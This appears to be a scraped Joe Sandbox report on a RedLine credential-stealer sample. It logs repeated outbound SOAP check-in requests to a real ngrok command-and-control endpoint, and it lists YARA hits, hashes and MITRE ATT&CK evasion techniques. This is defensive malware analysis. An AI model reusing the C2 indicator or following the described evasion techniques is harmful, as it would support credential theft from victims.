Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49756	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:19.891447067 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49757	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:25.459287882 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49758	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:26.007471085 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49759	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:31.574500084 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49760	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:32.126351118 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49761	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:37.681013107 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49762	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:38.236052036 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49763	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:43.802356005 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49764	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:49.366439104 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49765	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:49.917583942 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49766	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:55.475730896 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49767	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:56.023765087 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49768	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:44:01.583507061 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: kuEfaZxkiY.exePID: 7080, Parent PID: 2580

General

Target ID:	0
Start time:	20:41:59
Start date:	17/02/2024
Path:	C:\Users\user\Desktop\kuEfaZxkiY.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\kuEfaZxkiY.exe
Imagebase:	0x860000
File size:	97'792 bytes
MD5 hash:	117EEF8A227E6CE3646718D0ED6FB7B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7160, Parent PID: 7080

General

Target ID:	1
Start time:	20:41:59
Start date:	17/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: kuEfaZxkiY.exePID: 7080, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	16
Total number of Limit Nodes:	0

Executed Functions

Function 00F9E7B0 Relevance: .9, Instructions: 927
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2945720828.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_kuEfaZxkiY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a34045b10357486b77e8122061f21b6364bf195793d241e51ec78ba2e713b85
Instruction ID: 1600c15ea2e7c60ca5d01d2e95b6ed81fd9e9a15cc3aa863651fae39670fb33c
Opcode Fuzzy Hash: 5a34045b10357486b77e8122061f21b6364bf195793d241e51ec78ba2e713b85
Instruction Fuzzy Hash: 7482E834B002588FDB14DF68D899B6DBBB2BF88310F1184A9E50A9B3A5DF309D85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F90CE0 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 00F90D47

Memory Dump Source

Source File: 00000000.00000002.2945720828.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_kuEfaZxkiY.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 002d8aa482b39637895e7609670617d9e7ec69545f1a3e85a30dadceca6a1f4e
Instruction ID: ce0d615bad46c29791f4a83904ecf792ec2048a6747fdf7177c2aa2d4ae52873
Opcode Fuzzy Hash: 002d8aa482b39637895e7609670617d9e7ec69545f1a3e85a30dadceca6a1f4e
Instruction Fuzzy Hash: 881136B1D002498FDB20DFAAC8457DEFFF0AF88324F24842AC459A7250CB79A544CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00F90CE8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 00F90D47

Memory Dump Source

Source File: 00000000.00000002.2945720828.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_kuEfaZxkiY.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: f95dbff4e3215810e06dea6752744fe312ea29eb7891e8596dac3be918563507
Instruction ID: 30fe0e0657e7e3df8f8c58171675d337b3d58dfa79ae42123873937257e3a8d8
Opcode Fuzzy Hash: f95dbff4e3215810e06dea6752744fe312ea29eb7891e8596dac3be918563507
Instruction Fuzzy Hash: D21103B1D002498FDB20DFAAC4457DEFFF4AB88324F20842AC459A7250CB79A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F9DC90 Relevance: 1.6, Strings: 1, Instructions: 369COMMON

Download Yara Rule

Strings

Hbq, xrefs: 00F9DDA4

Memory Dump Source

Source File: 00000000.00000002.2945720828.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_kuEfaZxkiY.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 864c6d63a9aa21eb6b42f562e1316d31700dc84ea8761dc8077e0d0edf50bd01
Instruction ID: da5d14ec0e131bcf1ea59363c574c841b8fa3a816dddea065554fadc101ac4d4
Opcode Fuzzy Hash: 864c6d63a9aa21eb6b42f562e1316d31700dc84ea8761dc8077e0d0edf50bd01
Instruction Fuzzy Hash: E7D15B34B002458FDB14EB79D898A6EBBF6EF89350B148469E905DB3A5DF70DC02CB91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kuEfaZxkiY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

Windows Analysis Report
kuEfaZxkiY.exe

Function 00F9E7B0 Relevance: .9, Instructions: 927
COMMON

Function 00F90CE0 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Function 00F90CE8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON